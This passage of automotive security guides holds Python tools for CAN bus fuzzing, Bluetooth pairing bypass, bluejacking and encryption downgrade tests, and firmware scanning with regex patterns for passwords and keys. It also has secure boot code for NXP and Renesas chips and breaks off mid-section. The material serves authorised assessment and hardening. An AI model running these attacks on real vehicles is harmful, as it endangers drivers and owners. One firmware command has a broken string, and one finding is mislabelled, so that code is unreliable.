= self.bus.recv(timeout=1.0)\n            if msg is None:\n                continue\n\n            can_id = msg.arbitration_id\n\n            if can_id not in message_counts:\n                message_counts[can_id] = 0\n\n            message_counts[can_id] += 1\n\n        # Analyze for anomalies\n        print(f\"\\n[ANALYSIS] Message statistics:\")\n        for can_id, count in sorted(message_counts.items()):\n            print(f\"  CAN ID 0x{can_id:03X}: {count} messages\")\n\n        print(f\"[INFO] Monitoring complete - check ECU for unexpected behavior\")\n\n    def generate_report(self, output_file: str):\n        \"\"\"Generate fuzzing report\"\"\"\n        with open(output_file, 'w') as f:\n            f.write(\"CAN Bus Fuzzing Report\\n\")\n            f.write(\"=\" * 60 + \"\\n\\n\")\n            f.write(f\"Total anomalies detected: {len(self.anomalies)}\\n\")\n            f.write(f\"Total crashes detected: {len(self.crashes)}\\n\\n\")\n\n            f.write(\"Anomalies:\\n\")\n            for anomaly in self.anomalies:\n                f.write(f\"  - {anomaly}\\n\")\n\n            f.write(\"\\nRecommendations:\\n\")\n            f.write(\"  1. Fix input validation for identified anomalies\\n\")\n            f.write(\"  2. Implement bounds checking on all CAN message fields\\n\")\n            f.write(\"  3. Add graceful error handling (no crashes)\\n\")\n\n        print(f\"[INFO] Report generated: {output_file}\")\n\n# Example usage\ndef demo_can_fuzzing():\n    fuzzer = CANFuzzer(interface='vcan0')\n\n    # Fuzz specific CAN ID (e.g., steering angle sensor)\n    target_id = 0x025\n\n    fuzzer.fuzz_dlc(target_id)\n    fuzzer.fuzz_payload_boundary(target_id)\n    fuzzer.fuzz_payload_random(target_id, iterations=500)\n\n    # Monitor for crashes\n    fuzzer.monitor_for_crashes(duration=30)\n\n    # Generate report\n    fuzzer.generate_report('\u002Ftmp\u002Fcan_fuzzing_report.txt')\n\nif __name__ == \"__main__\":\n    demo_can_fuzzing()\n```\n\n## Bluetooth Penetration Testing\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nBluetooth Penetration Testing for Vehicle Systems\nTests pairing, encryption, and authentication\n\"\"\"\n\nimport bluetooth\nimport subprocess\n\nclass BluetoothPenTest:\n    \"\"\"Bluetooth security assessment\"\"\"\n\n    def __init__(self):\n        print(\"=== Bluetooth Penetration Test ===\")\n\n    def scan_devices(self):\n        \"\"\"Discover nearby Bluetooth devices\"\"\"\n        print(\"\\n[1\u002F5] Scanning for Bluetooth devices...\")\n\n        devices = bluetooth.discover_devices(\n            duration=8,\n            lookup_names=True,\n            flush_cache=True,\n            lookup_class=True\n        )\n\n        print(f\"[INFO] Found {len(devices)} devices:\")\n\n        for addr, name, device_class in devices:\n            print(f\"  {addr} - {name} (Class: 0x{device_class:06X})\")\n\n            # Identify automotive systems\n            if \"car\" in name.lower() or \"auto\" in name.lower() or \"vehicle\" in name.lower():\n                print(f\"    [!] Potential vehicle system detected\")\n\n        return devices\n\n    def test_pairing_bypass(self, target_addr: str):\n        \"\"\"Test for pairing bypass vulnerabilities\"\"\"\n        print(f\"\\n[2\u002F5] Testing pairing mechanisms for {target_addr}...\")\n\n        # Attempt to connect without pairing\n        try:\n            sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)\n            sock.connect((target_addr, 1))\n\n            print(f\"[CRITICAL] Connected without pairing!\")\n            print(f\"[FINDING] Device accepts connections without authentication\")\n\n            sock.close()\n\n        except bluetooth.btcommon.BluetoothError as e:\n            print(f\"[INFO] Connection rejected (expected): {e}\")\n\n        # Test weak PIN codes\n        weak_pins = [\"0000\", \"1234\", \"1111\", \"0123\"]\n\n        print(f\"[INFO] Testing common PIN codes...\")\n        for pin in weak_pins:\n            print(f\"  Trying PIN: {pin}\")\n            # Real implementation would use bluetoothctl or pybluez pairing\n\n        print(f\"[RECOMMENDATION] Use 6-digit random PIN or NFC pairing\")\n\n    def test_bluejacking(self, target_addr: str):\n        \"\"\"Test for bluejacking vulnerability (unsolicited messages)\"\"\"\n        print(f\"\\n[3\u002F5] Testing bluejacking (OBEX Push)...\")\n\n        # Attempt OBEX Push without pairing\n        result = subprocess.run(\n            ['obexftp', '-b', target_addr, '-B', '10', '-l'],\n            capture_output=True,\n            text=True\n        )\n\n        if result.returncode == 0:\n            print(f\"[HIGH] OBEX Push accessible without pairing\")\n            print(f\"[FINDING] Attacker can send unsolicited files\")\n        else:\n            print(f\"[PASS] OBEX Push requires pairing\")\n\n    def test_service_discovery(self, target_addr: str):\n        \"\"\"Enumerate Bluetooth services (SDP)\"\"\"\n        print(f\"\\n[4\u002F5] Service Discovery (SDP)...\")\n\n        services = bluetooth.find_service(address=target_addr)\n\n        if not services:\n            print(f\"[INFO] No services found (device may be in secure mode)\")\n            return\n\n        print(f\"[INFO] Found {len(services)} services:\")\n\n        for svc in services:\n            print(f\"  Service: {svc['name']}\")\n            print(f\"    Protocol: {svc['protocol']}\")\n            print(f\"    Port: {svc['port']}\")\n            print(f\"    Service ID: {svc['service-id']}\")\n\n            # Flag suspicious services\n            if 'OBD' in svc['name'] or 'Diagnostic' in svc['name']:\n                print(f\"    [!] Diagnostic service exposed over Bluetooth\")\n\n    def test_encryption_downgrade(self, target_addr: str):\n        \"\"\"Test for encryption downgrade attacks\"\"\"\n        print(f\"\\n[5\u002F5] Testing encryption downgrade...\")\n\n        # Attempt connection with no encryption\n        sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)\n\n        try:\n            # Set security level to low (no encryption)\n            sock.setsockopt(bluetooth.SOL_RFCOMM, bluetooth.RFCOMM_LM, 0)\n\n            sock.connect((target_addr, 1))\n\n            print(f\"[CRITICAL] Connection accepted without encryption!\")\n            print(f\"[FINDING] Bluetooth LE Legacy Pairing vulnerability\")\n\n            sock.close()\n\n        except Exception as e:\n            print(f\"[PASS] Unencrypted connection rejected: {e}\")\n\n# Example usage\ndef demo_bluetooth_pentest():\n    pentest = BluetoothPenTest()\n\n    # Scan for devices\n    devices = pentest.scan_devices()\n\n    if devices:\n        # Test first discovered device\n        target_addr = devices[0][0]\n\n        pentest.test_service_discovery(target_addr)\n        pentest.test_pairing_bypass(target_addr)\n        pentest.test_bluejacking(target_addr)\n        pentest.test_encryption_downgrade(target_addr)\n\n    print(\"\\n=== Bluetooth Penetration Test Complete ===\")\n\nif __name__ == \"__main__\":\n    demo_bluetooth_pentest()\n```\n\n## ECU Firmware Reverse Engineering\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nECU Firmware Reverse Engineering Toolkit\nBinary analysis and vulnerability discovery\n\"\"\"\n\nimport subprocess\nimport re\nimport os\n\nclass FirmwareAnalyzer:\n    \"\"\"Analyze ECU firmware binaries\"\"\"\n\n    def __init__(self, firmware_path: str):\n        self.firmware_path = firmware_path\n        self.findings = []\n\n        print(f\"=== Firmware Analyzer ===\")\n        print(f\"[INFO] Firmware: {firmware_path}\")\n\n    def extract_strings(self):\n        \"\"\"Extract printable strings from firmware\"\"\"\n        print(f\"\\n[1\u002F5] Extracting strings...\")\n\n        result = subprocess.run(\n            ['strings', '-n', '8', self.firmware_path],\n            capture_output=True,\n            text=True\n        )\n\n        strings_output = result.stdout.split('\\n')\n\n        # Search for sensitive data\n        sensitive_patterns = {\n            'URLs': r'https?:\u002F\u002F[^\\s]+',\n            'IP Addresses': r'\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\b',\n            'Emails': r'[\\w\\.-]+@[\\w\\.-]+\\.\\w+',\n            'API Keys': r'[A-Za-z0-9]{32,}',\n            'Passwords': r'(password|passwd|pwd)[\\s:=]+\\S+',\n        }\n\n        for category, pattern in sensitive_patterns.items():\n            matches = [s for s in strings_output if re.search(pattern, s, re.IGNORECASE)]\n\n            if matches:\n                print(f\"\\n[FINDING] {category} found in firmware:\")\n                for match in matches[:5]:  # Show first 5\n                    print(f\"  - {match}\")\n\n                self.findings.append({\n                    'category': category,\n                    'severity': 'HIGH',\n                    'count': len(matches)\n                })\n\n    def check_security_features(self):\n        \"\"\"Check for security mitigations\"\"\"\n        print(f\"\\n[2\u002F5] Checking security features...\")\n\n        # Check for NX (No Execute) bit\n        result = subprocess.run(\n            ['readelf', '-l', self.firmware_path],\n            capture_output=True,\n            text=True\n        )\n\n        if 'GNU_STACK' in result.stdout and 'RWE' not in result.stdout:\n            print(f\"[PASS] NX (DEP) enabled\")\n        else:\n            print(f\"[FAIL] NX disabled - stack is executable\")\n            self.findings.append({\n                'issue': 'Missing NX protection',\n                'severity': 'MEDIUM',\n                'remediation': 'Compile with -z noexecstack'\n            })\n\n        # Check for PIE (Position Independent Executable)\n        result = subprocess.run(\n            ['readelf', '-h', self.firmware_path],\n            capture_output=True,\n            text=True\n        )\n\n        if 'DYN' in result.stdout:\n            print(f\"[PASS] PIE enabled\")\n        else:\n            print(f\"[FAIL] PIE disabled - ASLR ineffective\")\n            self.findings.append({\n                'issue': 'Missing PIE',\n                'severity': 'MEDIUM',\n                'remediation': 'Compile with -fPIE -pie'\n            })\n\n        # Check for stack canaries\n        result = subprocess.run(\n            ['readelf', '-s', self.firmware_path],\n            capture_output=True,\n            text=True\n        )\n\n        if '__stack_chk_fail' in result.stdout:\n            print(f\"[PASS] Stack canaries present\")\n        else:\n            print(f\"[FAIL] No stack canaries - buffer overflow risk\")\n            self.findings.append({\n                'issue': 'Missing stack canaries',\n                'severity': 'HIGH',\n                'remediation': 'Compile with -fstack-protector-strong'\n            })\n\n    def find_hardcoded_keys(self):\n        \"\"\"Search for hardcoded cryptographic keys\"\"\"\n        print(f\"\\n[3\u002F5] Searching for hardcoded keys...\")\n\n        # Use binwalk to find crypto signatures\n        result = subprocess.run(\n            ['binwalk', '-E', self.firmware_path],\n            capture_output=True,\n            text=True\n        )\n\n        # High entropy regions may contain keys\n        if result.returncode == 0:\n            print(f\"[INFO] Entropy analysis complete\")\n            # Parse binwalk output for high entropy\n\n        # Search for common key headers\n        result = subprocess.run(\n            ['strings', self.firmware_path],\n            capture_output=True,\n            text=True\n        )\n\n        key_indicators = ['-----BEGIN', 'RSA PRIVATE', 'ssh-rsa', 'PuTTY-User-Key']\n\n        for indicator in key_indicators:\n            if indicator in result.stdout:\n                print(f\"[CRITICAL] Hardcoded key found: {indicator}\")\n                self.findings.append({\n                    'issue': f'Hardcoded key: {indicator}',\n                    'severity': 'CRITICAL',\n                    'remediation': 'Store keys in HSM or secure enclave'\n                })\n\n    def check_known_vulnerabilities(self):\n        \"\"\"Check for known vulnerable functions\"\"\"\n        print(f\"\\n[4\u002F5] Checking for known vulnerable functions...\")\n\n        dangerous_functions = [\n            'strcpy', 'strcat', 'gets', 'sprintf', 'vsprintf',\n            'scanf', 'sscanf', 'fscanf', 'vfscanf', 'realpath',\n            'getwd', 'getpass', 'streadd', 'strecpy', 'strtrns'\n        ]\n\n        result = subprocess.run(\n            ['nm', '-D', self.firmware_path],\n            capture_output=True,\n            text=True\n        )\n\n        for func in dangerous_functions:\n            if func in result.stdout:\n                print(f\"[WARN] Dangerous function used: {func}()\")\n                self.findings.append({\n                    'issue': f'Use of {func}()',\n                    'severity': 'MEDIUM',\n                    'remediation': f'Replace with safe alternative (e.g., strncpy for strcpy)'\n                })\n\n    def disassemble_entry_point(self):\n        \"\"\"Disassemble entry point for analysis\"\"\"\n        print(f\"\\n[5\u002F5] Disassembling entry point...\")\n\n        result = subprocess.run(\n            ['objdump', '-d', self.firmware_path, '-j', '.text', '--start-address=0', '--stop-address=256],\n            capture_output=True,\n            text=True\n        )\n\n        if result.returncode == 0:\n            print(f\"[INFO] Entry point disassembly:\")\n            print(result.stdout[:500])  # Show first 500 chars\n\n    def generate_report(self, output_file: str):\n        \"\"\"Generate vulnerability report\"\"\"\n        with open(output_file, 'w') as f:\n            f.write(\"ECU Firmware Security Assessment Report\\n\")\n            f.write(\"=\" * 60 + \"\\n\\n\")\n            f.write(f\"Firmware: {os.path.basename(self.firmware_path)}\\n\")\n            f.write(f\"Total findings: {len(self.findings)}\\n\\n\")\n\n            # Group by severity\n            critical = [f for f in self.findings if f.get('severity') == 'CRITICAL']\n            high = [f for f in self.findings if f.get('severity') == 'HIGH']\n            medium = [f for f in self.findings if f.get('severity') == 'MEDIUM']\n\n            f.write(f\"Critical: {len(critical)}\\n\")\n            f.write(f\"High: {len(high)}\\n\")\n            f.write(f\"Medium: {len(medium)}\\n\\n\")\n\n            f.write(\"Findings:\\n\")\n            for finding in self.findings:\n                f.write(f\"\\n[{finding.get('severity', 'INFO')}] \")\n                f.write(f\"{finding.get('issue', finding.get('category'))}\\n\")\n                if 'remediation' in finding:\n                    f.write(f\"  Remediation: {finding['remediation']}\\n\")\n\n        print(f\"\\n[INFO] Report generated: {output_file}\")\n\n# Example usage\ndef demo_firmware_analysis():\n    analyzer = FirmwareAnalyzer('\u002Ftmp\u002Fecu_firmware.elf')\n\n    analyzer.extract_strings()\n    analyzer.check_security_features()\n    analyzer.find_hardcoded_keys()\n    analyzer.check_known_vulnerabilities()\n    analyzer.disassemble_entry_point()\n\n    analyzer.generate_report('\u002Ftmp\u002Ffirmware_security_report.txt')\n\nif __name__ == \"__main__\":\n    demo_firmware_analysis()\n```\n\n## Best Practices\n\n1. **Scope & Authorization**: Always obtain written permission before testing\n2. **Test Environment**: Use isolated test bench, never production vehicles\n3. **Documentation**: Record all findings with PoC code and remediation guidance\n4. **Responsible Disclosure**: Follow 90-day disclosure timeline per ISO 21434\n5. **Tool Validation**: Verify tools don't cause permanent damage to ECUs\n\n## References\n\n- OWASP Automotive Security Testing Guide\n- SAE J3061: Cybersecurity Guidebook for Cyber-Physical Vehicle Systems\n- Charlie Miller & Chris Valasek: Car Hacking Research Papers\n- NHTSA Cybersecurity Best Practices for Modern Vehicles\n\n---\n\n## Secure Boot Chain\n\n# Secure Boot Chain Skill\n\n## Overview\n\nExpert skill for implementing secure boot architectures in automotive ECUs. Covers root of trust establishment, chain of trust verification, HAB (High Assurance Boot), signature verification, anti-rollback protection, secure firmware updates, and TPM\u002FHSM integration.\n\n## Core Competencies\n\n### Secure Boot Architecture\n- **Root of Trust (RoT)**: Immutable boot ROM, hardware-backed trust anchor\n- **Chain of Trust**: Bootloader → OS kernel → Applications\n- **Signature Verification**: RSA-4096\u002FECDSA-P384 cryptographic validation\n- **Anti-Rollback**: Version monotonic counters, secure storage\n- **Secure Updates**: Dual-bank firmware, atomic updates, rollback capability\n- **HSM Integration**: Hardware Security Module for key storage and crypto operations\n\n### Platform Support\n- **NXP i.MX**: HAB (High Assurance Boot), CAAM crypto accelerator\n- **Renesas R-Car**: Secure boot with PKCS#7 signatures\n- **Infineon AURIX**: UCB (User Configuration Block), HSM firmware\n- **STM32MP1**: Secure Boot with OTP fuses, ECDSA support\n- **ARM TrustZone**: Secure world execution, OP-TEE integration\n\n## NXP i.MX HAB Secure Boot Implementation\n\n### HAB Architecture\n\n```c\n\u002F*\n * NXP i.MX HAB (High Assurance Boot) Implementation\n * Secure boot flow: Boot ROM → SPL → U-Boot → Linux Kernel\n *\u002F\n\n#include \u003Cstdio.h>\n#include \u003Cstdint.h>\n#include \u003Cstring.h>\n#include \u003Copenssl\u002Fsha.h>\n#include \u003Copenssl\u002Frsa.h>\n#include \u003Copenssl\u002Fpem.h>\n\n\u002F* HAB CSF (Command Sequence File) Structure *\u002F\n#define HAB_TAG_IVT 0xD1\n#define HAB_TAG_DCD 0xD2\n#define HAB_TAG_CSF 0xD4\n\n#define HAB_CMD_INSTALL_KEY    0xBE\n#define HAB_CMD_AUTHENTICATE   0xDA\n#define HAB_CMD_SET_ENGINE     0xAF\n\ntypedef struct {\n    uint8_t tag;\n    uint16_t length;\n    uint8_t version;\n} hab_header_t;\n\ntypedef struct {\n    hab_header_t header;\n    uint32_t entry;\n    uint32_t reserved1;\n    uint32_t dcd;\n    uint32_t boot_data;\n    uint32_t self;\n    uint32_t csf;\n    uint32_t reserved2;\n} hab_ivt_t;\n\ntypedef struct {\n    hab_header_t header;\n    uint8_t flags;\n    uint16_t key_index;\n    uint32_t pcl;          \u002F* Protocol *\u002F\n    uint32_t alg;          \u002F* Algorithm *\u002F\n    uint32_t sig_format;   \u002F* Signature format *\u002F\n    uint32_t cert_format;  \u002F* Certificate format *\u002F\n} hab_install_key_cmd_t;\n\ntypedef struct {\n    hab_header_t header;\n    uint8_t flags;\n    uint16_t key_index;\n    uint32_t pcl;\n    uint32_t eng_cfg;      \u002F* Engine configuration *\u002F\n    uint32_t alg;\n    uint32_t sig_blk;      \u002F* Signature block address *\u002F\n} hab_authenticate_cmd_t;\n\n\u002F**\n * Generate HAB CSF binary for secure boot\n * CSF contains public keys and authentication commands\n *\u002F\nint hab_generate_csf(const char *srk_table, const char *csf_data,\n                     const char *img_hash, const char *output_csf) {\n    FILE *fp;\n    hab_header_t csf_header = {\n        .tag = HAB_TAG_CSF,\n        .length = 0,  \u002F\u002F Will be updated\n        .version = 0x40\n    };\n\n    fp = fopen(output_csf, \"wb\");\n    if (!fp) {\n        fprintf(stderr, \"Failed to create CSF file\\n\");\n        return -1;\n    }\n\n    \u002F\u002F Write CSF header\n    fwrite(&csf_header, sizeof(csf_header), 1, fp);\n\n    \u002F\u002F Install SRK (Super Root Key)\n    hab_install_key_cmd_t install_srk = {\n        .header = {.tag = HAB_CMD_INSTALL_KEY, .length = sizeof(hab_install_key_cmd_t), .version = 0x40},\n        .flags = 0x00,\n        .key_index = 0,\n        .pcl = 0x00,      \u002F\u002F No protocol\n        .alg = 0x21,      \u002F\u002F SHA256 with RSA\n        .sig_format = 0x03,  \u002F\u002F PKCS#1 v1.5\n        .cert_format = 0x09  \u002F\u002F SRK table\n    };\n    fwrite(&install_srk, sizeof(install_srk), 1, fp);\n\n    \u002F\u002F Append SRK table\n    FILE *srk_fp = fopen(srk_table, \"rb\");\n    if (srk_fp) {\n        uint8_t buffer[4096];\n        size_t bytes;\n        while ((bytes = fread(buffer, 1, sizeof(buffer), srk_fp)) > 0) {\n            fwrite(buffer, 1, bytes, fp);\n        }\n        fclose(srk_fp);\n    }\n\n    \u002F\u002F Authenticate data command\n    hab_authenticate_cmd_t auth_data = {\n        .header = {.tag = HAB_CMD_AUTHENTICATE, .length = sizeof(hab_authenticate_cmd_t), .version = 0x40},\n        .flags = 0x00,\n        .key_index = 2,   \u002F\u002F CSF key index\n        .pcl = 0x00,\n        .eng_cfg = 0x00,  \u002F\u002F Use internal crypto engine (CAAM)\n        .alg = 0x21,      \u002F\u002F SHA256 with RSA\n        .sig_blk = 0     \u002F\u002F Signature block follows\n    };\n    fwrite(&auth_data, sizeof(auth_data), 1, fp);\n\n    \u002F\u002F Append signature (pre-generated)\n    FILE *sig_fp = fopen(img_hash, \"rb\");\n    if (sig_fp) {\n        uint8_t buffer[512];\n        size_t bytes = fread(buffer, 1, sizeof(buffer), sig_fp);\n        fwrite(buffer, 1, bytes, fp);\n        fclose(sig_fp);\n    }\n\n    \u002F\u002F Update CSF length\n    long csf_length = ftell(fp);\n    fseek(fp, 0, SEEK_SET);\n    csf_header.length = (uint16_t)csf_length;\n    fwrite(&csf_header, sizeof(csf_header), 1, fp);\n\n    fclose(fp);\n    printf(\"HAB CSF generated: %s (%ld bytes)\\n\", output_csf, csf_length);\n    return 0;\n}\n\n\u002F**\n * Verify HAB secure boot chain\n * Simulates Boot ROM verification flow\n *\u002F\nint hab_verify_image(const char *image_path, const char *csf_path, const char *srk_pubkey) {\n    printf(\"\\n=== HAB Secure Boot Verification ===\\n\");\n\n    \u002F\u002F Step 1: Load and verify IVT\n    FILE *img_fp = fopen(image_path, \"rb\");\n    if (!img_fp) {\n        fprintf(stderr, \"Failed to open image\\n\");\n        return -1;\n    }\n\n    hab_ivt_t ivt;\n    fread(&ivt, sizeof(ivt), 1, img_fp);\n\n    if (ivt.header.tag != HAB_TAG_IVT) {\n        fprintf(stderr, \"[FAIL] Invalid IVT tag: 0x%02X\\n\", ivt.header.tag);\n        fclose(img_fp);\n        return -1;\n    }\n    printf(\"[PASS] IVT tag valid\\n\");\n\n    \u002F\u002F Step 2: Verify CSF pointer\n    if (ivt.csf == 0) {\n        fprintf(stderr, \"[FAIL] No CSF found in IVT\\n\");\n        fclose(img_fp);\n        return -1;\n    }\n    printf(\"[PASS] CSF pointer: 0x%08X\\n\", ivt.csf);\n\n    \u002F\u002F Step 3: Load and verify CSF\n    FILE *csf_fp = fopen(csf_path, \"rb\");\n    if (!csf_fp) {\n        fprintf(stderr, \"Failed to open CSF\\n\");\n        fclose(img_fp);\n        return -1;\n    }\n\n    hab_header_t csf_header;\n    fread(&csf_header, sizeof(csf_header), 1, csf_fp);\n\n    if (csf_header.tag != HAB_TAG_CSF) {\n        fprintf(stderr, \"[FAIL] Invalid CSF tag: 0x%02X\\n\", csf_header.tag);\n        fclose(csf_fp);\n        fclose(img_fp);\n        return -1;\n    }\n    printf(\"[PASS] CSF tag valid\\n\");\n\n    \u002F\u002F Step 4: Compute image hash (SHA256)\n    SHA256_CTX sha_ctx;\n    uint8_t hash[SHA256_DIGEST_LENGTH];\n    uint8_t buffer[4096];\n    size_t bytes;\n\n    SHA256_Init(&sha_ctx);\n    fseek(img_fp, 0, SEEK_SET);\n    while ((bytes = fread(buffer, 1, sizeof(buffer), img_fp)) > 0) {\n        SHA256_Update(&sha_ctx, buffer, bytes);\n    }\n    SHA256_Final(hash, &sha_ctx);\n\n    printf(\"[INFO] Image SHA256: \");\n    for (int i = 0; i \u003C SHA256_DIGEST_LENGTH; i++) {\n        printf(\"%02x\", hash[i]);\n    }\n    printf(\"\\n\");\n\n    \u002F\u002F Step 5: Verify signature using SRK public key\n    \u002F\u002F (Simplified - real HAB uses CAAM hardware)\n    FILE *key_fp = fopen(srk_pubkey, \"r\");\n    if (!key_fp) {\n        fprintf(stderr, \"[FAIL] Cannot open SRK public key\\n\");\n        fclose(csf_fp);\n        fclose(img_fp);\n        return -1;\n    }\n\n    RSA *rsa = PEM_read_RSA_PUBKEY(key_fp, NULL, NULL, NULL);\n    fclose(key_fp);\n\n    if (!rsa) {\n        fprintf(stderr, \"[FAIL] Invalid RSA public key\\n\");\n        fclose(csf_fp);\n        fclose(img_fp);\n        return -1;\n    }\n\n    \u002F\u002F Read signature from CSF (simplified)\n    uint8_t signature[512];\n    fseek(csf_fp, -512, SEEK_END);\n    fread(signature, 1, 512, csf_fp);\n\n    int verify_result = RSA_verify(NID_sha256, hash, SHA256_DIGEST_LENGTH,\n                                    signature, 512, rsa);\n\n    RSA_free(rsa);\n    fclose(csf_fp);\n    fclose(img_fp);\n\n    if (verify_result == 1) {\n        printf(\"[PASS] Signature verification SUCCESS\\n\");\n        printf(\"=== HAB VERIFICATION PASSED ===\\n\");\n        return 0;\n    } else {\n        printf(\"[FAIL] Signature verification FAILED\\n\");\n        printf(\"=== HAB VERIFICATION FAILED ===\\n\");\n        return -1;\n    }\n}\n\nint main() {\n    \u002F\u002F Generate CSF for U-Boot image\n    hab_generate_csf(\n        \"\u002Ftmp\u002Fsrk_table.bin\",\n        \"\u002Ftmp\u002Fcsf_commands.txt\",\n        \"\u002Ftmp\u002Fuboot_signature.bin\",\n        \"\u002Ftmp\u002Fu-boot.csf\"\n    );\n\n    \u002F\u002F Verify secure boot chain\n    hab_verify_image(\n        \"\u002Ftmp\u002Fu-boot-signed.imx\",\n        \"\u002Ftmp\u002Fu-boot.csf\",\n        \"\u002Ftmp\u002Fsrk_pubkey.pem\"\n    );\n\n    return 0;\n}\n```\n\n### HAB Fuse Programming (OTP)\n\n```bash\n#!\u002Fbin\u002Fbash\n# NXP i.MX HAB Fuse Programming Script\n# WARNING: Fuse programming is IRREVERSIBLE\n# Only run on production hardware after thorough testing\n\nset -e\n\nDEVICE=\"\u002Fdev\u002Fimx_otp\"\nSRK_HASH_FILE=\"srk_hash.bin\"\n\necho \"=== NXP i.MX HAB Fuse Programming ===\"\necho \"WARNING: This operation is IRREVERSIBLE!\"\nread -p \"Type 'CONFIRM' to proceed: \" confirmation\n\nif [ \"$confirmation\" != \"CONFIRM\" ]; then\n    echo \"Operation cancelled\"\n    exit 1\nfi\n\n# Step 1: Compute SRK hash (SHA256 of SRK table)\necho \"[1\u002F4] Computing SRK hash...\"\nsha256sum srk_table.bin | awk '{print $1}' | xxd -r -p > $SRK_HASH_FILE\n\n# Step 2: Burn SRK hash to OTP fuses (Bank 3, Word 0-7)\necho \"[2\u002F4] Burning SRK hash to OTP fuses...\"\n# Fuse addresses: 0x6D0 (SRK_HASH[255:224]) to 0x6FC (SRK_HASH[31:0])\nfor i in {0..7}; do\n    fuse_addr=$((0x6D0 + i * 4))\n    offset=$((i * 4))\n    value=$(od -An -tx4 -j $offset -N 4 $SRK_HASH_FILE | tr -d ' ')\n\n    echo \"  Burning 0x$value to fuse 0x$fuse_addr\"\n    # Real command: uboot> fuse prog 3 $word $value\n    # Simulation only:\n    echo \"    fuse prog 3 $i 0x$value\"\ndone\n\n# Step 3: Enable Secure Boot (close device)\necho \"[3\u002F4] Enabling Secure Boot...\"\n# Fuse Bank 0, Word 6, Bit 1 (SEC_CONFIG[1] = CLOSED)\necho \"  Setting SEC_CONFIG to CLOSED state\"\n# Real command: uboot> fuse prog 0 6 0x00000002\necho \"    fuse prog 0 6 0x00000002\"\n\n# Step 4: Verify fuse programming\necho \"[4\u002F4] Verifying fuse programming...\"\n# Real command: uboot> fuse read 3 0 8\necho \"  SRK Hash verification:\"\nfor i in {0..7}; do\n    echo \"    fuse read 3 $i\"\ndone\n\necho \"=== HAB Fuse Programming Complete ===\"\necho \"Device is now in CLOSED state - only signed images will boot\"\n```\n\n## Renesas R-Car Secure Boot\n\n### Secure Boot Flow\n\n```c\n\u002F*\n * Renesas R-Car Secure Boot Implementation\n * Uses PKCS#7 signatures for bootloader verification\n *\u002F\n\n#include \u003Cstdio.h>\n#include \u003Cstdint.h>\n#include \u003Cstring.h>\n#include \u003Copenssl\u002Fpkcs7.h>\n#include \u003Copenssl\u002Fx509.h>\n\n#define RCAR_CERT_OFFSET 0x00000000\n#define RCAR_CERT_SIZE   0x00010000\n#define RCAR_BL2_OFFSET  0x00010000\n\ntypedef struct {\n    uint32_t magic;              \u002F\u002F \"CERT\"\n    uint32_t cert_size;\n    uint32_t num_of_images;\n    uint8_t  reserved[4];\n} rcar_cert_header_t;\n\ntypedef struct {\n    uint32_t image_offset;\n    uint32_t image_size;\n    uint32_t load_address;\n    uint8_t  hash_type;          \u002F\u002F 0=SHA256, 1=SHA384\n    uint8_t  hash[64];\n    uint8_t  signature[512];\n} rcar_image_cert_t;\n\n\u002F**\n * Verify R-Car bootloader signature\n *\u002F\nint rcar_verify_bootloader(const char *bl2_path, const char *cert_path, const char *ca_cert) {\n    printf(\"\\n=== R-Car Secure Boot Verification ===\\n\");\n\n    \u002F\u002F Load CA certificate\n    FILE *ca_fp = fopen(ca_cert, \"r\");\n    if (!ca_fp) {\n        fprintf(stderr, \"[FAIL] Cannot open CA certificate\\n\");\n        return -1;\n    }\n\n    X509 *ca = PEM_read_X509(ca_fp, NULL, NULL, NULL);\n    fclose(ca_fp);\n\n    if (!ca) {\n        fprintf(stderr, \"[FAIL] Invalid CA certificate\\n\");\n        return -1;\n    }\n    printf(\"[PASS] CA certificate loaded\\n\");\n\n    \u002F\u002F Load bootloader certificate (PKCS#7)\n    FILE *cert_fp = fopen(cert_path, \"rb\");\n    if (!cert_fp) {\n        fprintf(stderr, \"[FAIL] Cannot open bootloader certificate\\n\");\n        X509_free(ca);\n        return -1;\n    }\n\n    PKCS7 *p7 = d2i_PKCS7_fp(cert_fp, NULL);\n    fclose(cert_fp);\n\n    if (!p7) {\n        fprintf(stderr, \"[FAIL] Invalid PKCS#7 structure\\n\");\n        X509_free(ca);\n        return -1;\n    }\n    printf(\"[PASS] PKCS#7 certificate loaded\\n\");\n\n    \u002F\u002F Load bootloader image\n    FILE *bl2_fp = fopen(bl2_path, \"rb\");\n    if (!bl2_fp) {\n        fprintf(stderr, \"[FAIL] Cannot open bootloader image\\n\");\n        PKCS7_free(p7);\n        X509_free(ca);\n        return -1;\n    }\n\n    fseek(bl2_fp, 0, SEEK_END);\n    size_t bl2_size = ftell(bl2_fp);\n    fseek(bl2_fp, 0, SEEK_SET);\n\n    uint8_t *bl2_data = malloc(bl2_size);\n    fread(bl2_data, 1, bl2_size, bl2_fp);\n    fclose(bl2_fp);\n\n    \u002F\u002F Create BIO for verification\n    BIO *bio_data = BIO_new_mem_buf(bl2_data, bl2_size);\n    BIO *bio_out = BIO_new(BIO_s_mem());\n\n    \u002F\u002F Verify PKCS#7 signature\n    X509_STORE *store = X509_STORE_new();\n    X509_STORE_add_cert(store, ca);\n\n    int verify_result = PKCS7_verify(p7, NULL, store, bio_data, bio_out, 0);\n\n    BIO_free(bio_data);\n    BIO_free(bio_out);\n    X509_STORE_free(store);\n    PKCS7_free(p7);\n    X509_free(ca);\n    free(bl2_data);\n\n    if (verify_result == 1) {\n        printf(\"[PASS] Bootloader signature valid\\n\");\n        printf(\"=== R-Car SECURE BOOT PASSED ===\\n\");\n        return 0;\n    } else {\n        fprintf(stderr, \"[FAIL] Bootloader signature invalid\\n\");\n        printf(\"=== R-Car SECURE BOOT FAILED ===\\n\");\n        return -1;\n    }\n}\n\nint main() {\n    rcar_verify_bootloader(\n        \"\u002Ftmp\u002Fbl2.bin\",\n        \"\u002Ftmp\u002Fbl2_cert.p7\",\n        \"\u002Ftmp\u002Fca.pem\"\n    );\n    return 0;\n}\n```\n\n## Infineon AURIX HSM Secure Boot\n\n### HSM Configuration\n\n```c\n\u002F*\n * Infineon AURIX TC3xx HSM-based Secure Boot\n * HSM performs signature verification in isolated core\n *\u002F\n\n#include \u003Cstdio.h>\n#include \u003Cstdint.h>\n\n#define UCB_BMHD_BASE    0xAF400000\n#define UCB_BOOT_BASE    0xAF400100\n#define 